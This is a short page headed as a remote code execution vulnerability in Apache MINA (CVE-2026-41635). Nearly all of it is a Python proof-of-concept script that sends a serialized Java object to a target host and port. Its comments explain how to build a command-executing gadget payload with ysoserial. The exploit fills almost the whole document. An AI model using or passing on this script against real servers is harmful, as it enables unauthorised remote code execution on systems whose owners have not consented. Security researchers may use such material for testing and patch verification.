CVE-2026-41635 Apache MINA 远程代码执行漏洞

import socket import sys # PoC for CVE-2026-41635 # This script sends a malicious serialized Java object to a target running a vulnerable Apache MINA version. # The vulnerability allows bypassing the whitelist check in resolveClass() when handling static classes. TARGET_HOST = '127.0.0.1' TARGET_PORT = 9123 # In a real scenario, generate a payload using ysoserial, e.g.: # java -jar ysoserial.jar CommonsCollections5 "calc.exe" > payload.bin # This payload exploits the deserialization to execute commands. PAYLOAD_FILE = 'payload.bin' def send_exploit(): try: with open(PAYLOAD_FILE, 'rb') as f: data = f.read() print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) print("[*] Sending malicious serialized object...") s.sendall(data) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()